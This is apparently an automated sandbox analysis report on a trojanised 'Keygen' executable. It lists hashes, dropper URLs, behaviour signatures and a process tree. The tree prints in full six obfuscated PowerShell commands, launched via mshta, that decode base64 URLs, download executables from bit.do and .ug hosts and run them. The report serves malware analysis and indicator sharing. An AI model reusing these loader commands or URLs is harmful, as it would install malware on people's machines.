3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (122) — копия.exe
Size

849KB
MD5

dbde61502c5c0e17ebc6919f361c32b9
SHA1

189749cf0b66a9f560b68861f98c22cdbcafc566
SHA256

88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
SHA512

d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blacklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

18 3556 powershell.exe
19 2124 powershell.exe
20 3832 powershell.exe
22 3832 powershell.exe
25 3556 powershell.exe
26 2124 powershell.exe
Executes dropped EXE 4 IoCs

Processes:

Keygen.exepbt.exebwm.exemwb.exe

pid process

852 Keygen.exe
5020 pbt.exe
5032 bwm.exe
5056 mwb.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3148 timeout.exe
1256 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings cmd.exe

flow	pid	process
18	3556	powershell.exe
19	2124	powershell.exe
20	3832	powershell.exe
22	3832	powershell.exe
25	3556	powershell.exe
26	2124	powershell.exe

pid	process
852	Keygen.exe
5020	pbt.exe
5032	bwm.exe
5056	mwb.exe

pid	process
3148	timeout.exe
1256	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2124	powershell.exe
2184	powershell.exe
2184	powershell.exe
2124	powershell.exe
3556	powershell.exe
3908	powershell.exe
3556	powershell.exe
3908	powershell.exe
3832	powershell.exe
3832	powershell.exe
3524	powershell.exe
3524	powershell.exe
3908	powershell.exe
2124	powershell.exe
3556	powershell.exe
2184	powershell.exe
3524	powershell.exe
3832	powershell.exe
3832	powershell.exe
3524	powershell.exe
3908	powershell.exe
3556	powershell.exe
2184	powershell.exe
2124	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	3908	powershell.exe
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	3556	powershell.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	3524	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

Keygen.exemwb.exebwm.exe

pid process

852 Keygen.exe
5056 mwb.exe
5032 bwm.exe

pid	process
852	Keygen.exe
5056	mwb.exe
5032	bwm.exe

Suspicious use of WriteProcessMemory 57 IoCs

Processes:

Keygen — копия (122) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1224 wrote to memory of 3944	1224	Keygen — копия (122) — копия.exe	cmd.exe
PID 1224 wrote to memory of 3944	1224	Keygen — копия (122) — копия.exe	cmd.exe
PID 1224 wrote to memory of 3944	1224	Keygen — копия (122) — копия.exe	cmd.exe
PID 3944 wrote to memory of 852	3944	cmd.exe	Keygen.exe
PID 3944 wrote to memory of 852	3944	cmd.exe	Keygen.exe
PID 3944 wrote to memory of 852	3944	cmd.exe	Keygen.exe
PID 3944 wrote to memory of 3084	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 3084	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 3084	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 2304	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 2304	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 2304	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 3148	3944	cmd.exe	timeout.exe
PID 3944 wrote to memory of 3148	3944	cmd.exe	timeout.exe
PID 3944 wrote to memory of 3148	3944	cmd.exe	timeout.exe
PID 3944 wrote to memory of 3720	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 3720	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 3720	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 2516	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 2516	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 2516	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 1256	3944	cmd.exe	timeout.exe
PID 3944 wrote to memory of 1256	3944	cmd.exe	timeout.exe
PID 3944 wrote to memory of 1256	3944	cmd.exe	timeout.exe
PID 3944 wrote to memory of 2372	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 2372	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 2372	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 3752	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 3752	3944	cmd.exe	mshta.exe
PID 3944 wrote to memory of 3752	3944	cmd.exe	mshta.exe
PID 3720 wrote to memory of 3556	3720	mshta.exe	powershell.exe
PID 3720 wrote to memory of 3556	3720	mshta.exe	powershell.exe
PID 3720 wrote to memory of 3556	3720	mshta.exe	powershell.exe
PID 3084 wrote to memory of 2124	3084	mshta.exe	powershell.exe
PID 3084 wrote to memory of 2124	3084	mshta.exe	powershell.exe
PID 3084 wrote to memory of 2124	3084	mshta.exe	powershell.exe
PID 2304 wrote to memory of 2184	2304	mshta.exe	powershell.exe
PID 2304 wrote to memory of 2184	2304	mshta.exe	powershell.exe
PID 2304 wrote to memory of 2184	2304	mshta.exe	powershell.exe
PID 2516 wrote to memory of 3524	2516	mshta.exe	powershell.exe
PID 2516 wrote to memory of 3524	2516	mshta.exe	powershell.exe
PID 2516 wrote to memory of 3524	2516	mshta.exe	powershell.exe
PID 2372 wrote to memory of 3832	2372	mshta.exe	powershell.exe
PID 2372 wrote to memory of 3832	2372	mshta.exe	powershell.exe
PID 2372 wrote to memory of 3832	2372	mshta.exe	powershell.exe
PID 3752 wrote to memory of 3908	3752	mshta.exe	powershell.exe
PID 3752 wrote to memory of 3908	3752	mshta.exe	powershell.exe
PID 3752 wrote to memory of 3908	3752	mshta.exe	powershell.exe
PID 3556 wrote to memory of 5020	3556	powershell.exe	pbt.exe
PID 3556 wrote to memory of 5020	3556	powershell.exe	pbt.exe
PID 3556 wrote to memory of 5020	3556	powershell.exe	pbt.exe
PID 3832 wrote to memory of 5032	3832	powershell.exe	bwm.exe
PID 3832 wrote to memory of 5032	3832	powershell.exe	bwm.exe
PID 3832 wrote to memory of 5032	3832	powershell.exe	bwm.exe
PID 2124 wrote to memory of 5056	2124	powershell.exe	mwb.exe
PID 2124 wrote to memory of 5056	2124	powershell.exe	mwb.exe
PID 2124 wrote to memory of 5056	2124	powershell.exe	mwb.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (122) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (122) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1224

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1B6.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (122) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3944

C:\Users\Admin\AppData\Local\Temp\1B6.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:852

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1B6.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3084

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2124

C:\Users\Public\mwb.exe
"C:\Users\Public\mwb.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5056

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1B6.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2304

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2184

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3148

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1B6.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3556

C:\Users\Public\pbt.exe
"C:\Users\Public\pbt.exe"
5⤵
- Executes dropped EXE
PID:5020

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1B6.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2516

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3524

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1256

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1B6.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2372

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3832

C:\Users\Public\bwm.exe
"C:\Users\Public\bwm.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5032

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1B6.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3752

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3908

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
b751492c41c6f3173d3b6f31c1b9b4eb

SHA1
abc53a2c939b1d774940deb0b888b7b1ba5a3c7b

SHA256
ad95fdf313324ed94997cec026239ea3631bf27298500e5def5941db9493b457

SHA512
afa65279455b98353c6fe6869f2b545231231a953afbb1bf2eaed6b11646c4b4c77c5c18102651ae247a2f0fa18c698d908f4d23ca91581cbf28e32e061cb2e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
5da3364fc86a46de57469488ed9b3c69

SHA1
4fafa84418dd8394310bf3d8d7b2485db36623ff

SHA256
d046d28a05867675ca1de7c2477d2f0bbd480a17c70f6fcb04864c518b8059f6

SHA512
9d93e900aea5918dd6289a10604b17437e47723026114672f02f377330a23df23154d97f87336c0eb94cd425b0309cd45704b29cc3d6cc304b1b145e97db5fcd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
74ffdc0e80ae211af43f849c153c022f

SHA1
8dd487156f2acdaab009b0ccba34be51cce1cf9d

SHA256
533dbed644398c9ceb9a2ca6e6bb129d2b19f0159eb979e79ce99730189f5a37

SHA512
b80f1ab747be16291bae8fad1832d7c527c05909b5ad3ad310b6074d87e61f055c5917d1fb4798bb76e0c9c6c8e5dc6912f629cf735e0de453a82dcd05e2dfe4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
308b81faa7969b6ba0a979c3dce61765

SHA1
bbabdb468f8cda5a52c0021fb55c9e9de3aa0778

SHA256
4252d97a15b34c25a4385b3b268ea6a99a8b4490e6187c26fab65c434b4dad9f

SHA512
e812a5a2df3cc39c4d2cd5392caf337eb54026d8e9e033974a0e49183bed625a262aadc9b92c3101891dcefa5c465d288ecbfece8544a1538e15f89ad44aa502

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B6.tmp\Keygen.exe
MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B6.tmp\Keygen.exe
MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B6.tmp\b.hta
MD5
5bbba448146acc4530b38017be801e2e

SHA1
8c553a7d3492800b630fc7d65a041ae2d466fb36

SHA256
96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

SHA512
48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B6.tmp\b1.hta
MD5
c57770e25dd4e35b027ed001d9f804c2

SHA1
408b1b1e124e23c2cc0c78b58cb0e595e10c83c0

SHA256
bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5

SHA512
ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B6.tmp\ba.hta
MD5
b762ca68ba25be53780beb13939870b2

SHA1
1780ee68efd4e26ce1639c6839c7d969f0137bfd

SHA256
c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1

SHA512
f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B6.tmp\ba1.hta
MD5
a2ea849e5e5048a5eacd872a5d17aba5

SHA1
65acf25bb62840fd126bf8adca3bb8814226e30f

SHA256
0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c

SHA512
d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B6.tmp\m.hta
MD5
9383fc3f57fa2cea100b103c7fd9ea7c

SHA1
84ea6c1913752cb744e061ff2a682d9fe4039a37

SHA256
831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d

SHA512
16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B6.tmp\m1.hta
MD5
5eb75e90380d454828522ed546ea3cb7

SHA1
45c89f292d035367aeb2ddeb3110387a772c8a49

SHA256
dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e

SHA512
0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\1B6.tmp\start.bat
MD5
68d86e419dd970356532f1fbcb15cb11

SHA1
e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a

SHA256
d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe

SHA512
3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14

Download Submit
C:\Users\Public\bwm.exe
MD5
92821d6dd83105f5f2d08c43f28fa309

SHA1
93c72e2494705509b56ca93cea2448aff098cb6d

SHA256
dc3171271adef72e1faf51d68c3c76daaffa9f097ef6d51aa600c98f129209e8

SHA512
